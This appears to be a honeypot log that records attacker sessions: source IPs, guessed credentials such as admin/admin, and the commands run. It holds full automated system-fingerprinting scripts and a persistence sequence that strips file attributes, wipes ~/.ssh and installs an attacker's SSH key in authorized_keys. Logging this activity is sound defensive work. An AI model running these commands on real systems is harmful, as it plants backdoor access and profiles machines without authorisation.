$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×8

↳ make executable

$ uname -s -v -n -m 2 > /dev/null ×42

$ /bin/uname -s -v -n -m 2 > /dev/null ×37

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×37

$ busybox uname -s -v -n -m 2 > /dev/null ×37

$ ( [ -f /proc/version ] ×37

$ [ -f /proc/version ] ×37

$ head -1 /proc/version | cut -d -f1 ×37

$ [ -f /etc/os-release ] ×37

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×16

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×13

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×5

$ uname -m 2 > /dev/null ×5

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×5

🎭 ironclad_jade_root (8.138.128.98) — Guangzhou, China · 30 sessions · 30 cmds

2026-07-05 11:30 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×30

🎭 sneaky_cowboy_root_43 (135.237.122.43) — Boydton, United States · 1 session · 2 cmds

2026-07-05 13:09 EDT · as oracle/123456789

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 ashen_dragon_root_190 (121.40.150.190) — Hangzhou, China · 1 session · 1 cmd

2026-07-05 13:08 EDT · as test/test

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 glitchy_clog_root (80.94.92.55) — Amsterdam, The Netherlands · 16 sessions · 144 cmds

2026-06-28 07:43 EDT · as root/1234, root/123456, root/12345678

PATH normalization → kernel version and architecture enumeration via uname → OS release detection through /proc/version and /etc/os-release → system profiling for compatibility assessment

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3

$ uname -s -v -n -m 2 > /dev/null ×16

$ /bin/uname -s -v -n -m 2 > /dev/null ×16

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×16

$ busybox uname -s -v -n -m 2 > /dev/null ×16

$ ( [ -f /proc/version ] ×16

$ [ -f /proc/version ] ×16

$ head -1 /proc/version | cut -d -f1 ×16

$ [ -f /etc/os-release ] ×16

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×10

🎭 venomous_pretzel_root (4.182.219.135) — Frankfurt am Main, Germany · 1 session · 2 cmds

2026-07-05 11:41 EDT · as oracle/123qweasd

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_dutch_root (80.94.92.234) — Amsterdam, The Netherlands · 39 sessions · 255 cmds

2026-06-24 23:12 EDT · as admin/123456, admin/admin, admin/admin123

Export PATH modification → system fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS release check via /etc/os-release → uptime monitoring → hardware profiling completion

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×13

$ uname -s -v -n -m 2 > /dev/null ×37

$ /bin/uname -s -v -n -m 2 > /dev/null ×21

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×21

$ busybox uname -s -v -n -m 2 > /dev/null ×21

$ ( [ -f /proc/version ] ×21

$ [ -f /proc/version ] ×21

$ head -1 /proc/version | cut -d -f1 ×21

$ [ -f /etc/os-release ] ×21

$ echo $HOME ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×8

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×3

$ uname -m 2 > /dev/null ×16

$ cat /proc/uptime 2 > /dev/null ×3

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×13

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×13

🎭 hollow_garuda_root (118.99.114.224) — North Jakarta, Indonesia · 2 sessions · 4 cmds

2026-07-05 06:54 EDT · as oracle/11111, oracle/admin123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 silent_phantom_root (144.31.156.154) — Helsinki, Finland · 1 session · 2 cmds

2026-07-05 10:04 EDT · as oracle/admin123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

